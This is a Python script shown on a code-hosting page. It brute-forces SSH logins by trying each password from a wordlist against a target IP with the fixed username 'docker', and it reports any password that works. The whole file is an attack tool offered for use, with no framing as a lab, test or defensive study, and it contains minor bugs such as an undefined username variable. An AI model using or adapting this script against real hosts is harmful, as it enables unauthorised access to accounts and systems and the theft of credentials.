You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
36 lines
993 B
36 lines
993 B
import paramiko
|
|
import os,sys,time,optparse
|
|
|
|
def brute_ssh():
|
|
ssh = paramiko.SSHClient()
|
|
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
#checking the path
|
|
if os.path.exists(file_path) == False:
|
|
print("\n[-] Error: File not found")
|
|
sys.exit(2)
|
|
else:
|
|
file = open(file_path)
|
|
for line in file.readlines():
|
|
splitted = line.split()
|
|
password = splitted[0]
|
|
print(splitted)
|
|
response = 0
|
|
try:
|
|
ssh.connect(target_ip, port=22, username="docker", password=password)
|
|
except paramiko.AuthenticationException:
|
|
response=1
|
|
time.sleep(10)
|
|
if response == 0:
|
|
print("\n[+] Gotcha!!! Username: " + username + " Password: " + password)
|
|
ssh.close()
|
|
file.close()
|
|
|
|
parser = optparse.OptionParser()
|
|
|
|
parser.add_option("-t","--target",dest="target_ip", help="set target's IP")
|
|
parser.add_option("-f","--file", dest="file_path", help="set a file as input")
|
|
|
|
(options,arguments) = parser.parse_args()
|
|
target_ip = options.target_ip
|
|
file_path = options.file_path
|
|
brute_ssh()
|
|
|